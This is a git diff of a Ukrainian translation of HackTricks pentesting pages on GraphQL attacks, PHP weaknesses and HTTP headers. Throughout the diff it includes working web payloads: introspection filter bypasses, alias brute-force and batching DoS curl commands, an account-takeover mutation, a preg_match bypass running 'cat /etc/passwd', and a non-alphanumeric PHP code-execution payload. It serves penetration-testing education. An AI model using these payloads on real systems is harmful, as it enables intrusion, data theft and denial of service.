Щоб обійти обмеження на запити інспекції в API, вставка **спеціального символу після ключового слова `__schema`** виявляється ефективною. Цей метод експлуатує загальні недоліки розробників у шаблонах regex, які намагаються заблокувати інспекцію, зосереджуючись на ключовому слові `__schema`. Додаючи символи, такі як **пробіли, нові рядки та коми**, які GraphQL ігнорує, але які можуть не бути враховані в regex, можна обійти обмеження. Наприклад, запит на інспекцію з новим рядком після `__schema` може обійти такі захисти:
```bash
# Example with newline to bypass
{
@ -427,11 +427,27 @@ query=%7B%0A++user+%7B%0A++++firstName%0A++++__typename%0A++%7D%0A%7D%0A
Зверніть увагу, що зазвичай можливо надіслати **запит** **запиту** також як **GET** **запит**, і токен CSRF може не перевірятися в GET-запиті.
Також, зловживаючи [**XS-Search**](../../pentesting-web/xs-search/index.html) **атака**, можливо ексфільтрувати вміст з кінцевої точки GraphQL, зловживаючи обліковими даними користувача.
Також, зловживаючи [**XS-Search**](../../pentesting-web/xs-search/index.html) **атака**, може бути можливим ексфільтрувати вміст з кінцевої точки GraphQL, зловживаючи обліковими даними користувача.
Для отримання додаткової інформації **перевірте** [**оригінальний пост тут**](https://blog.doyensec.com/2021/05/20/graphql-csrf.html).
## Викрад
## Викрадення WebSocket між сайтами в GraphQL
Подібно до вразливостей CRSF, зловживаючи GraphQL, також можливо виконати **викрадення WebSocket між сайтами, щоб зловживати аутентифікацією з GraphQL з незахищеними куками** і змусити користувача виконувати несподівані дії в GraphQL.
Для отримання додаткової інформації перевірте:
{{#ref}}
../../pentesting-web/websocket-attacks.md
{{#endref}}
## Авторизація в GraphQL
Багато функцій GraphQL, визначених на кінцевій точці, можуть перевіряти лише аутентифікацію запитувача, але не авторизацію.
Модифікація змінних вхідних запитів може призвести до витоку чутливих даних облікового запису [leaked](https://hackerone.com/reports/792927).
Мутація може навіть призвести до захоплення облікового запису, намагаючись змінити дані іншого облікового запису.
```javascript
{
"operationName":"updateProfile",
@ -443,17 +459,17 @@ query=%7B%0A++user+%7B%0A++++firstName%0A++++__typename%0A++%7D%0A%7D%0A
[Зв'язування запитів](https://s1n1st3r.gitbook.io/theb10g/graphql-query-authentication-bypass-vuln) разом може обійти слабку систему аутентифікації.
У наведеному нижче прикладі ви можете побачити, що операція - "forgotPassword" і що вона повинна виконувати лише запит forgotPassword, пов'язаний з нею. Це можна обійти, додавши запит в кінець, у цьому випадку ми додаємо "register" і змінну користувача, щоб система зареєструвала його як нового користувача.
У наведеному нижче прикладі ви можете побачити, що операція - "forgotPassword" і що вона повинна виконувати лише запит forgotPassword, пов'язаний з нею. Це можна обійти, додавши запит в кінець, в даному випадку ми додаємо "register" і змінну користувача, щоб система зареєструвала його як нового користувача.
<figure><img src="../../images/GraphQLAuthBypassMethod.PNG" alt=""><figcaption></figcaption></figure>
## Обхід обмежень швидкості за допомогою псевдонімів у GraphQL
У GraphQL псевдоніми - це потужна функція, яка дозволяє **явно називати властивості** під час виконання запиту до API. Ця можливість особливо корисна для отримання **декількох екземплярів одного типу** об'єкта в одному запиті. Псевдоніми можна використовувати для подолання обмеження, яке заважає об'єктам GraphQL мати кілька властивостей з однаковим ім'ям.
У GraphQL псевдоніми є потужною функцією, яка дозволяє **явно називати властивості** під час виконання запиту до API. Ця можливість особливо корисна для отримання **кількох екземплярів одного типу** об'єкта в одному запиті. Псевдоніми можна використовувати для подолання обмеження, яке заважає об'єктам GraphQL мати кілька властивостей з однаковим ім'ям.
Для детального розуміння псевдонімів GraphQL рекомендується наступний ресурс: [Aliases](https://portswigger.net/web-security/graphql/what-is-graphql#aliases).
Для детального розуміння псевдонімів GraphQL рекомендується наступний ресурс: [Псевдоніми](https://portswigger.net/web-security/graphql/what-is-graphql#aliases).
Хоча основна мета псевдонімів полягає в зменшенні необхідності в численних викликах API, було виявлено ненавмисне використання, при якому псевдоніми можна використовувати для виконання атак методом грубої сили на кінцеву точку GraphQL. Це можливо, оскільки деякі кінцеві точки захищені обмежувачами швидкості, призначеними для запобігання атакам методом грубої сили шляхом обмеження **кількості HTTP-запитів**. Однак ці обмежувачі швидкості можуть не враховувати кількість операцій у кожному запиті. Оскільки псевдоніми дозволяють включати кілька запитів в один HTTP-запит, вони можуть обійти такі заходи обмеження швидкості.
Хоча основна мета псевдонімів полягає в зменшенні необхідності в численних викликах API, було виявлено ненавмисне використання, при якому псевдоніми можна використовувати для виконання атак грубої сили на кінцеву точку GraphQL. Це можливо, оскільки деякі кінцеві точки захищені обмежувачами швидкості, призначеними для запобігання атакам грубої сили шляхом обмеження **кількості HTTP-запитів**. Однак ці обмежувачі швидкості можуть не враховувати кількість операцій у кожному запиті. Оскільки псевдоніми дозволяють включати кілька запитів в один HTTP-запит, вони можуть обійти такі заходи обмеження швидкості.
Розгляньте наведену нижче ілюстрацію, яка демонструє, як псевдонімовані запити можна використовувати для перевірки дійсності кодів знижок магазину. Цей метод може обійти обмеження швидкості, оскільки він компілює кілька запитів в один HTTP-запит, потенційно дозволяючи перевірити численні коди знижок одночасно.
```bash
@ -483,9 +499,9 @@ curl -X POST -H "Content-Type: application/json" \
```
Щоб зменшити це, реалізуйте обмеження на кількість псевдонімів, аналіз складності запитів або обмеження швидкості, щоб запобігти зловживанню ресурсами.
### **Пакетування запитів на основі масиву**
### **Пакетування запитів на основі масивів**
**Пакетування запитів на основі масиву** є вразливістю, коли GraphQL API дозволяє пакетувати кілька запитів в одному запиті, що дозволяє зловмиснику надсилати велику кількість запитів одночасно. Це може перевантажити бекенд, виконуючи всі пакетовані запити паралельно, споживаючи надмірні ресурси (ЦП, пам'ять, з'єднання з базою даних) і потенційно призводячи до **Відмови в обслуговуванні (DoS)**. Якщо немає обмеження на кількість запитів у пакеті, зловмисник може скористатися цим, щоб знизити доступність сервісу.
**Пакетування запитів на основі масивів** є вразливістю, коли GraphQL API дозволяє пакетувати кілька запитів в одному запиті, що дозволяє зловмиснику надсилати велику кількість запитів одночасно. Це може перевантажити бекенд, виконуючи всі пакетовані запити паралельно, споживаючи надмірні ресурси (ЦП, пам'ять, з'єднання з базою даних) і потенційно призводячи до **Відмови в обслуговуванні (DoS)**. Якщо немає обмеження на кількість запитів у пакеті, зловмисник може скористатися цим, щоб знизити доступність сервісу.
```graphql
# Test provided by https://github.com/dolevf/graphql-cop
curl -X POST -H "User-Agent: graphql-cop/1.13" \
@ -493,11 +509,11 @@ curl -X POST -H "User-Agent: graphql-cop/1.13" \
-d '[{"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}]' \
'https://example.com/graphql'
```
У цьому прикладі 10 різних запитів об'єднуються в один запит, змушуючи сервер виконувати їх усі одночасно. Якщо скористатися цим з більшим розміром пакета або запитами, що вимагають великих обчислень, це може перевантажити сервер.
У цьому прикладі 10 різних запитів об'єднуються в один запит, змушуючи сервер виконувати їх усі одночасно. Якщо скористатися цим з більшим розміром партії або запитами, які вимагають великих обчислень, це може перевантажити сервер.
### **Уразливість через перевантаження директив**
**Перевантаження директив** відбувається, коли сервер GraphQL дозволяє запити з надмірними, дублікатними директивами. Це може перевантажити парсер і виконавця сервера, особливо якщо сервер неодноразово обробляє одну й ту ж логіку директиви. Без належної валідації або обмежень зловмисник може скористатися цим, створивши запит з численними дублікатами директив, щоб викликати високе використання обчислень або пам'яті, що призводить до **відмови в обслуговуванні (DoS)**.
**Перевантаження директив** відбувається, коли сервер GraphQL дозволяє запити з надмірними, дублікатними директивами. Це може перевантажити парсер і виконавця сервера, особливо якщо сервер неодноразово обробляє одну й ту ж логіку директиви. Без належної валідації або обмежень зловмисник може скористатися цим, створивши запит з численними дублікатами директив, щоб викликати високе використання обчислень або пам'яті, що призводить до **Denial of Service (DoS)**.
```bash
# Test provided by https://github.com/dolevf/graphql-cop
curl -X POST -H "User-Agent: graphql-cop/1.13" \
@ -519,11 +535,11 @@ curl -X POST \
-d '{"query": "{ __schema { directives { name locations args { name type { name kind ofType { name } } } } } }"}' \
'https://example.com/graphql'
```
І потім **використовуйте деякі з кастомних**.
А потім **використовуйте деякі з кастомних**.
### **Вразливість Дублювання Полів**
### **Вразливість Дублювання Поля**
**Дублювання Полів** - це вразливість, коли сервер GraphQL дозволяє запити з однаковим полем, яке повторюється надмірно. Це змушує сервер повторно вирішувати поле для кожного випадку, споживаючи значні ресурси (ЦП, пам'ять та виклики до бази даних). Зловмисник може створити запити з сотнями або тисячами повторюваних полів, викликаючи високе навантаження і потенційно призводячи до **Відмови в Обслуговуванні (DoS)**.
**Дублювання Поля** - це вразливість, коли сервер GraphQL дозволяє запити з однаковим полем, яке повторюється надмірно. Це змушує сервер повторно обробляти поле для кожного випадку, споживаючи значні ресурси (ЦП, пам'ять та виклики до бази даних). Зловмисник може створити запити з сотнями або тисячами повторюваних полів, викликаючи високе навантаження і потенційно призводячи до **Відмови в Обслуговуванні (DoS)**.
```bash
# Test provided by https://github.com/dolevf/graphql-cop
curl -X POST -H "User-Agent: graphql-cop/1.13" -H "Content-Type: application/json" \
@ -535,15 +551,15 @@ curl -X POST -H "User-Agent: graphql-cop/1.13" -H "Content-Type: application/jso
### Сканери вразливостей
- [https://github.com/dolevf/graphql-cop](https://github.com/dolevf/graphql-cop): Тестування поширених неправильних налаштувань graphql кінцевих точок
- [https://github.com/assetnote/batchql](https://github.com/assetnote/batchql): Скрипт аудиту безпеки GraphQL з акцентом на виконання пакетних запитів та мутацій GraphQL.
- [https://github.com/assetnote/batchql](https://github.com/assetnote/batchql): Скрипт для аудиту безпеки GraphQL з акцентом на виконання пакетних запитів та мутацій GraphQL.
- [https://github.com/dolevf/graphw00f](https://github.com/dolevf/graphw00f): Визначення графіку, що використовується
- [https://github.com/gsmith257-cyber/GraphCrawler](https://github.com/gsmith257-cyber/GraphCrawler): Інструмент, який можна використовувати для отримання схем і пошуку чутливих даних, тестування авторизації, брутфорс схем і знаходження шляхів до певного типу.
- [https://github.com/gsmith257-cyber/GraphCrawler](https://github.com/gsmith257-cyber/GraphCrawler): Інструмент, який можна використовувати для отримання схем та пошуку чутливих даних, тестування авторизації, брутфорс схем та знаходження шляхів до певного типу.
- [https://blog.doyensec.com/2020/03/26/graphql-scanner.html](https://blog.doyensec.com/2020/03/26/graphql-scanner.html): Може використовуватися як автономний інструмент або [розширення Burp](https://github.com/doyensec/inql).
- [https://github.com/swisskyrepo/GraphQLmap](https://github.com/swisskyrepo/GraphQLmap): Може використовуватися як CLI клієнт також для автоматизації атак
- [https://github.com/swisskyrepo/GraphQLmap](https://github.com/swisskyrepo/GraphQLmap): Може використовуватися як CLI клієнт також для автоматизації атак: `python3 graphqlmap.py -u http://example.com/graphql --inject`
- [https://gitlab.com/dee-see/graphql-path-enum](https://gitlab.com/dee-see/graphql-path-enum): Інструмент, який перераховує різні способи **досягнення певного типу в схемі GraphQL**.
- [https://github.com/doyensec/GQLSpection](https://github.com/doyensec/GQLSpection): Наступник автономного та CLI режимів InQL
- [https://github.com/doyensec/inql](https://github.com/doyensec/inql): Розширення Burp для розширеного тестування GraphQL. _**Сканер**_ є основою InQL v5.0, де ви можете аналізувати кінцеву точку GraphQL або локальний файл схеми інспекції. Він автоматично генерує всі можливі запити та мутації, організуючи їх у структурований вигляд для вашого аналізу. Компонент _**Атакуючий**_ дозволяє вам виконувати пакетні атаки GraphQL, що може бути корисним для обходу погано реалізованих обмежень швидкості.
- [https://github.com/nikitastupin/clairvoyance](https://github.com/nikitastupin/clairvoyance): Спробуйте отримати схему, навіть якщо інспекція вимкнена, використовуючи допомогу деяких баз даних Graphql, які запропонують назви мутацій і параметрів.
- [https://github.com/doyensec/inql](https://github.com/doyensec/inql): Розширення Burp або скрипт на Python для розширеного тестування GraphQL. _**Сканер**_ є основою InQL v5.0, де ви можете аналізувати кінцеву точку GraphQL або локальний файл схеми інспекції. Він автоматично генерує всі можливі запити та мутації, організуючи їх у структурований вигляд для вашого аналізу. Компонент _**Атакуючий**_ дозволяє вам виконувати пакетні атаки GraphQL, що може бути корисним для обходу погано реалізованих обмежень швидкості: `python3 inql.py -t http://example.com/graphql -o output.json`
- [https://github.com/nikitastupin/clairvoyance](https://github.com/nikitastupin/clairvoyance): Спробуйте отримати схему, навіть якщо інспекція вимкнена, використовуючи допомогу деяких баз даних Graphql, які запропонують назви мутацій та параметрів.
### Клієнти

View File

@ -22,7 +22,7 @@ Example: ../../../../../../tmp/sess_d1d531db62523df80e1153ada1d4b02e
### Слабкі порівняння/Перетворення типів ( == )
Якщо в PHP використовується `==`, то є несподівані випадки, коли порівняння не веде себе так, як очікується. Це пов'язано з тим, що "==" порівнює лише значення, перетворені в один і той же тип, якщо ви також хочете порівняти, що тип порівнюваних даних однаковий, вам потрібно використовувати `===`.
Якщо в PHP використовується `==`, то є несподівані випадки, коли порівняння не веде себе так, як очікується. Це пов'язано з тим, що "==" порівнює лише значення, перетворені в один і той же тип; якщо ви також хочете порівняти, що тип порівнюваних даних однаковий, вам потрібно використовувати `===`.
Таблиці порівняння PHP: [https://www.php.net/manual/en/types.comparisons.php](https://www.php.net/manual/en/types.comparisons.php)
@ -70,7 +70,7 @@ if (!strcmp(array(),"real_pwd")) { echo "Real Password"; } else { echo "No Real
```
### preg_match(/^.\*/)
**`preg_match()`** може бути використано для **перевірки введення користувача** (він **перевіряє**, чи є будь-яке **слово/регулярний вираз** з **чорного списку** **присутнім** у **введенні користувача**, і якщо його немає, код може продовжити своє виконання).
**`preg_match()`** може бути використаний для **перевірки введення користувача** (він **перевіряє**, чи є будь-яке **слово/регулярний вираз** з **чорного списку** **присутнім** у **введенні користувача**, і якщо його немає, код може продовжити своє виконання).
#### Обхід нового рядка
@ -87,7 +87,7 @@ echo preg_match("/^.*1/",$myinput);
echo preg_match("/^.*1.*$/",$myinput);
//0 --> In this scenario preg_match DOESN'T find the char "1"
```
Щоб обійти цю перевірку, ви можете **надіслати значення з новими рядками, закодованими в URL** (`%0A`), або якщо ви можете надіслати **дані JSON**, надішліть їх у **кількох рядках**:
Щоб обійти цю перевірку, ви можете **надіслати значення з новими рядками, закодованими в URL** (`%0A`), або якщо ви можете надіслати **JSON-дані**, надішліть їх у **кількох рядках**:
```php
{
"cmd": "cat /etc/passwd"
@ -110,9 +110,9 @@ payload = '{"cmd": "ls -la", "injected": "'+ "a"*1000001 + '"}'
<figure><img src="../../../images/image (26).png" alt=""><figcaption></figcaption></figure>
Коротко кажучи, проблема виникає через те, що функції `preg_*` у PHP базуються на [бібліотеці PCRE](http://www.pcre.org/). У PCRE певні регулярні вирази співпадають, використовуючи багато рекурсивних викликів, що займає багато стекового простору. Можливо встановити обмеження на кількість дозволених рекурсій, але в PHP це обмеження [за замовчуванням становить 100.000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit), що більше, ніж вміщується в стек.
Коротко кажучи, проблема виникає через те, що функції `preg_*` у PHP базуються на [PCRE бібліотеці](http://www.pcre.org/). У PCRE певні регулярні вирази співпадають, використовуючи багато рекурсивних викликів, що займає багато стекового простору. Можливо встановити обмеження на кількість дозволених рекурсій, але в PHP це обмеження [за замовчуванням становить 100.000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit), що більше, ніж вміщується в стек.
[Ця тема на Stackoverflow](http://stackoverflow.com/questions/7620910/regexp-in-preg-match-function-returning-browser-error) також була згадана в пості, де більш детально обговорюється ця проблема. Наше завдання стало зрозумілим:\
[Ця тема на Stackoverflow](http://stackoverflow.com/questions/7620910/regexp-in-preg-match-function-returning-browser-error) також була згадана в пості, де детальніше обговорюється ця проблема. Наше завдання стало зрозумілим:\
**Надіслати вхідні дані, які змусили б regex виконати 100_000+ рекурсій, викликавши SIGSEGV, змусивши функцію `preg_match()` повернути `false`, таким чином змусивши додаток думати, що наш вхід не є шкідливим, підкидаючи сюрприз в кінці корисного навантаження щось на кшталт `{system(<verybadcommand>)}` для отримання SSTI --> RCE --> flag :)**.
Отже, в термінах regex, ми насправді не виконуємо 100k "рекурсій", а замість цього рахуємо "кроки назад", які, як зазначає [документація PHP](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit), за замовчуванням становлять 1_000_000 (1M) у змінній `pcre.backtrack_limit`.\
@ -133,7 +133,7 @@ $obfs += ""; //int 7
```
## Execute After Redirect (EAR)
Якщо PHP перенаправляє на іншу сторінку, але жодна функція **`die`** або **`exit`** не **викликається після встановлення заголовка `Location`**, PHP продовжує виконання та додає дані до тіла:
Якщо PHP перенаправляє на іншу сторінку, але жодна функція **`die`** або **`exit`** не **викликається після того, як заголовок `Location`** встановлено, PHP продовжує виконання та додає дані до тіла:
```php
<?php
// In this page the page will be read and the content appended to the body of
@ -153,15 +153,16 @@ Check:
## More tricks
- **register_globals**: У **PHP < 4.1.1.1** або якщо неправильно налаштовано, **register_globals** може бути активним (або їх поведінка імітується). Це означає, що в глобальних змінних, таких як $\_GET, якщо вони мають значення, наприклад, $\_GET\["param"]="1234", ви можете отримати доступ до нього через **$param. Таким чином, відправляючи HTTP параметри, ви можете перезаписати змінні\*\* які використовуються в коді.
- **register_globals**: У **PHP < 4.1.1.1** або якщо неправильно налаштовано, **register_globals** може бути активним (або їх поведінка імітується). Це означає, що в глобальних змінних, таких як $\_GET, якщо вони мають значення, наприклад, $\_GET\["param"]="1234", ви можете отримати доступ до них через **$param. Таким чином, відправляючи HTTP параметри, ви можете перезаписати змінні\*\*, які використовуються в коді.
- **PHPSESSION cookies одного домену зберігаються в одному місці**, тому якщо в межах домену **використовуються різні cookies в різних шляхах**, ви можете зробити так, щоб шлях **отримував доступ до cookie іншого шляху**, встановивши значення cookie іншого шляху.\
Таким чином, якщо **обидва шляхи отримують доступ до змінної з однаковим ім'ям**, ви можете зробити так, щоб **значення цієї змінної в path1 застосовувалося до path2**. І тоді path2 вважатиме змінні path1 дійсними (надаючи cookie ім'я, яке відповідає йому в path2).
Цим способом, якщо **обидва шляхи отримують доступ до змінної з однаковим ім'ям**, ви можете зробити так, щоб **значення цієї змінної в path1 застосовувалося до path2**. І тоді path2 вважатиме змінні path1 дійсними (надаючи cookie ім'я, яке відповідає йому в path2).
- Коли у вас є **імена користувачів** користувачів машини. Перевірте адресу: **/\~\<USERNAME>**, щоб дізнатися, чи активовані php каталоги.
- Якщо конфігурація php має **`register_argc_argv = On`**, то параметри запиту, розділені пробілами, використовуються для заповнення масиву аргументів **`array_keys($_SERVER['argv'])`** так, ніби це **аргументи з CLI**. Це цікаво, тому що якщо ця **налаштування вимкнено**, значення **масиву args буде `Null`** при виклику з вебу, оскільки масив ars не буде заповнений. Тому, якщо веб-сторінка намагається перевірити, чи вона працює як веб-інструмент або як CLI-інструмент з порівнянням, наприклад, `if (empty($_SERVER['argv'])) {`, зловмисник може надіслати **параметри в GET запиті, такі як `?--configPath=/lalala`**, і вона подумає, що працює як CLI, і потенційно розпарсить і використає ці аргументи. Більше інформації в [оригінальному описі](https://www.assetnote.io/resources/research/how-an-obscure-php-footgun-led-to-rce-in-craft-cms).
- [**LFI and RCE using php wrappers**](../../../pentesting-web/file-inclusion/index.html)
### password_hash/password_verify
Ці функції зазвичай використовуються в PHP для **генерації хешів з паролів** та для **перевірки**, чи є пароль правильним у порівнянні з хешем.\
Ці функції зазвичай використовуються в PHP для **генерації хешів з паролів** та для **перевірки**, чи правильний пароль у порівнянні з хешем.\
Підтримувані алгоритми: `PASSWORD_DEFAULT` та `PASSWORD_BCRYPT` (починається з `$2y$`). Зверніть увагу, що **PASSWORD_DEFAULT часто є тим самим, що і PASSWORD_BCRYPT.** І наразі **PASSWORD_BCRYPT** має **обмеження за розміром на вхідні дані в 72 байти**. Тому, коли ви намагаєтеся захешувати щось більше ніж 72 байти за допомогою цього алгоритму, буде використано лише перші 72B:
```php
$cont=71; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
@ -184,7 +185,7 @@ if (isset($_GET["xss"])) echo $_GET["xss"];
```
#### Заповнення тіла перед встановленням заголовків
Якщо **PHP-сторінка виводить помилки та відображає деякі дані, надані користувачем**, користувач може змусити PHP-сервер вивести деякий **контент, достатньо великий**, щоб, коли він намагатиметься **додати заголовки** до відповіді, сервер видасть помилку.\
Якщо **PHP-сторінка виводить помилки та відображає деякі дані, надані користувачем**, користувач може змусити PHP-сервер вивести деякий **контент, достатньо великий**, щоб коли він намагатиметься **додати заголовки** до відповіді, сервер видасть помилку.\
У наступному сценарії **зловмисник змусив сервер вивести великі помилки**, і, як ви можете бачити на екрані, коли PHP намагався **змінити інформацію заголовка, він не зміг** (тому, наприклад, заголовок CSP не був надісланий користувачу):
![](<../../../images/image (1085).png>)
@ -211,7 +212,7 @@ preg_replace(pattern,replace,base)
preg_replace("/a/e","phpinfo()","whatever")
```
Щоб виконати код у аргументі "replace", потрібне принаймні одне співпадіння.\
Ця опція preg_replace була **застаріла з PHP 5.5.0.**
Ця опція preg_replace була **застарілою починаючи з PHP 5.5.0.**
### **RCE через Eval()**
```
@ -326,15 +327,15 @@ $_COOKIE | if #This mea
```
Якщо ви налагоджуєте PHP-додаток, ви можете глобально увімкнути виведення помилок у `/etc/php5/apache2/php.ini`, додавши `display_errors = On`, і перезапустити apache: `sudo systemctl restart apache2`
### Деобфускація PHP-коду
### Деобфускація PHP коду
Ви можете використовувати **web**[ **www.unphp.net**](http://www.unphp.net) **для деобфускації php-коду.**
Ви можете використовувати **web**[ **www.unphp.net**](http://www.unphp.net) **для деобфускації php коду.**
## PHP обгортки та протоколи
PHP обгортки та протоколи можуть дозволити вам **обійти захист на запис і читання** в системі та скомпрометувати її. Для [**додаткової інформації перегляньте цю сторінку**](../../../pentesting-web/file-inclusion/index.html#lfi-rfi-using-php-wrappers-and-protocols).
## Xdebug неавторизований RCE
## Xdebug неавтентифікований RCE
Якщо ви бачите, що **Xdebug** увімкнено в `phpconfig()` виводі, вам слід спробувати отримати RCE через [https://github.com/nqxcode/xdebug-exploit](https://github.com/nqxcode/xdebug-exploit)
@ -382,7 +383,7 @@ ${$_}[_](${$_}[__]); // $_GET[_]($_GET[__]);
$_="`{{{"^"?<>/";${$_}[_](${$_}[__]); // $_ = '_GET'; $_GET[_]($_GET[__]);
```
Отже, якщо ви можете **виконувати довільний PHP без цифр і літер**, ви можете надіслати запит, подібний до наступного, зловживаючи цим корисним навантаженням для виконання довільного PHP:
Отже, якщо ви можете **виконувати довільний PHP без цифр і літер**, ви можете надіслати запит, як наведено нижче, зловживаючи цим корисним навантаженням для виконання довільного PHP:
```
POST: /action.php?_=system&__=cat+flag.php
Content-Type: application/x-www-form-urlencoded

View File

@ -2,7 +2,7 @@
{{#include ../../banners/hacktricks-training.md}}
## Списки слів та інструменти
## Словники та інструменти
- [https://github.com/danielmiessler/SecLists/tree/master/Miscellaneous/Web/http-request-headers](https://github.com/danielmiessler/SecLists/tree/master/Miscellaneous/Web/http-request-headers)
- [https://github.com/rfc-st/humble](https://github.com/rfc-st/humble)
@ -35,7 +35,7 @@
## Заголовки hop-by-hop
Заголовок hop-by-hop - це заголовок, який призначений для обробки та споживання проксі, що наразі обробляє запит, на відміну від заголовка end-to-end.
Заголовок hop-by-hop це заголовок, який призначений для обробки та споживання проксі, що наразі обробляє запит, на відміну від заголовка end-to-end.
- `Connection: close, X-Forwarded-For`
@ -43,7 +43,7 @@
../../pentesting-web/abusing-hop-by-hop-headers.md
{{#endref}}
## HTTP Request Smuggling
## HTTP Запит на контрабанду
- `Content-Length: 30`
- `Transfer-Encoding: chunked`
@ -57,8 +57,8 @@
**Заголовки кешу сервера**:
- **`X-Cache`** у відповіді може мати значення **`miss`**, коли запит не кешувався, і значення **`hit`**, коли він кешується
- Схоже поводження у заголовку **`Cf-Cache-Status`**
- **`Cache-Control`** вказує, чи ресурс кешується і коли буде наступний раз кешуватися: `Cache-Control: public, max-age=1800`
- Схоже поводження в заголовку **`Cf-Cache-Status`**
- **`Cache-Control`** вказує, чи ресурс кешується, і коли буде наступний раз кешуватися ресурс: `Cache-Control: public, max-age=1800`
- **`Vary`** часто використовується у відповіді для **вказівки додаткових заголовків**, які розглядаються як **частина ключа кешу**, навіть якщо вони зазвичай не мають ключа.
- **`Age`** визначає час у секундах, протягом якого об'єкт перебував у кеші проксі.
- **`Server-Timing: cdn-cache; desc=HIT`** також вказує на те, що ресурс був кешований
@ -78,12 +78,13 @@
- Запити, що використовують ці заголовки: **`If-Modified-Since`** та **`If-Unmodified-Since`** отримають відповідь з даними лише якщо заголовок відповіді\*\*`Last-Modified`\*\* містить інший час.
- Умовні запити, що використовують **`If-Match`** та **`If-None-Match`**, використовують значення Etag, тому веб-сервер надішле вміст відповіді, якщо дані (Etag) змінилися. `Etag` береться з HTTP-відповіді.
- Значення **Etag** зазвичай **обчислюється** на основі **вмісту** відповіді. Наприклад, `ETag: W/"37-eL2g8DEyqntYlaLp5XLInBWsjWI"` вказує, що `Etag` є **Sha1** з **37 байтів**.
- Значення **Etag** зазвичай **обчислюється** на основі **вмісту** відповіді. Наприклад, `ETag: W/"37-eL2g8DEyqntYlaLp5XLInBWsjWI"` вказує на те, що `Etag` є **Sha1** з **37 байтів**.
## Запити діапазону
- **`Accept-Ranges`**: Вказує, чи підтримує сервер запити діапазону, і якщо так, в якій одиниці діапазон може бути виражений. `Accept-Ranges: <range-unit>`
- **`Range`**: Вказує частину документа, яку сервер повинен повернути.
- **`Accept-Ranges`**: Вказує, чи сервер підтримує запити діапазону, і якщо так, в якій одиниці діапазон може бути виражений. `Accept-Ranges: <range-unit>`
- **`Range`**: Вказує частину документа, яку сервер повинен повернути. Наприклад, `Range:80-100` поверне байти з 80 по 100 оригінальної відповіді зі статус-кодом 206 Partial Content. Також пам'ятайте, щоб видалити заголовок `Accept-Encoding` з запиту.
- Це може бути корисно для отримання відповіді з довільним відображеним кодом JavaScript, який інакше міг би бути втечений. Але для зловживання цим вам потрібно буде вставити ці заголовки в запит.
- **`If-Range`**: Створює умовний запит діапазону, який виконується лише якщо вказаний etag або дата збігаються з віддаленим ресурсом. Використовується для запобігання завантаженню двох діапазонів з несумісних версій ресурсу.
- **`Content-Range`**: Вказує, де в повному тілі повідомлення належить часткове повідомлення.
@ -95,10 +96,10 @@
- **`Content-Language`**: Описує людську мову(и), призначену для аудиторії, щоб дозволити користувачу відрізняти відповідно до власної переваги мови.
- **`Content-Location`**: Вказує альтернативне місцезнаходження для повернених даних.
З точки зору pentest ця інформація зазвичай "марна", але якщо ресурс **захищений** 401 або 403 і ви можете знайти якийсь **спосіб** отримати цю **інформацію**, це може бути **цікаво.**\
З точки зору пентесту ця інформація зазвичай "марна", але якщо ресурс **захищений** 401 або 403 і ви можете знайти якийсь **спосіб** отримати цю **інформацію**, це може бути **цікаво.**\
Наприклад, комбінація **`Range`** та **`Etag`** у запиті HEAD може витікати вміст сторінки через запити HEAD:
- Запит з заголовком `Range: bytes=20-20` і з відповіддю, що містить `ETag: W/"1-eoGvPlkaxxP4HqHv6T3PNhV9g3Y"` витікає, що SHA1 байта 20 є `ETag: eoGvPlkaxxP4HqHv6T3PNhV9g3Y`
- Запит з заголовком `Range: bytes=20-20` і відповіддю, що містить `ETag: W/"1-eoGvPlkaxxP4HqHv6T3PNhV9g3Y"`, витікає, що SHA1 байта 20 є `ETag: eoGvPlkaxxP4HqHv6T3PNhV9g3Y`
## Інформація про сервер
@ -107,12 +108,12 @@
## Контролі
- **`Allow`**: Цей заголовок використовується для комунікації HTTP методів, які ресурс може обробляти. Наприклад, він може бути вказаний як `Allow: GET, POST, HEAD`, що вказує на те, що ресурс підтримує ці методи.
- **`Allow`**: Цей заголовок використовується для спілкування HTTP-методів, які ресурс може обробляти. Наприклад, він може бути вказаний як `Allow: GET, POST, HEAD`, що вказує на те, що ресурс підтримує ці методи.
- **`Expect`**: Використовується клієнтом для передачі очікувань, які сервер повинен виконати для успішної обробки запиту. Загальний випадок використання включає заголовок `Expect: 100-continue`, який сигналізує, що клієнт має намір надіслати великий обсяг даних. Клієнт чекає на відповідь `100 (Continue)` перед продовженням передачі. Цей механізм допомагає оптимізувати використання мережі, очікуючи підтвердження від сервера.
## Завантаження
- Заголовок **`Content-Disposition`** у HTTP-відповідях вказує, чи файл повинен відображатися **вбудовано** (в межах веб-сторінки) або розглядатися як **додаток** (завантажений). Наприклад:
- Заголовок **`Content-Disposition`** у HTTP-відповідях вказує, чи файл повинен бути відображений **вбудовано** (в межах веб-сторінки) або оброблений як **додаток** (завантажений). Наприклад:
```
Content-Disposition: attachment; filename="filename.jpg"
```
@ -174,7 +175,7 @@ Cross-Origin-Opener-Policy: same-origin-allow-popups
```
### **HTTP Strict Transport Security (HSTS)**
Нарешті, HSTS - це функція безпеки, яка змушує браузери спілкуватися з серверами лише через захищені HTTPS з'єднання, тим самим підвищуючи конфіденційність і безпеку.
Нарешті, HSTS - це функція безпеки, яка змушує браузери спілкуватися з серверами лише через захищені HTTPS з'єднання, тим самим покращуючи конфіденційність і безпеку.
```
Strict-Transport-Security: max-age=3153600
```

View File

@ -4,7 +4,7 @@
## Basic Information
**Серіалізація** розуміється як метод перетворення об'єкта в формат, який може бути збережений, з наміром або зберегти об'єкт, або передати його як частину процесу комунікації. Ця техніка зазвичай використовується для забезпечення можливості відтворення об'єкта в майбутньому, зберігаючи його структуру та стан.
**Серіалізація** розуміється як метод перетворення об'єкта в формат, який може бути збережений, з наміром або зберегти об'єкт, або передати його як частину процесу комунікації. Ця техніка зазвичай використовується для забезпечення можливості відтворення об'єкта пізніше, зберігаючи його структуру та стан.
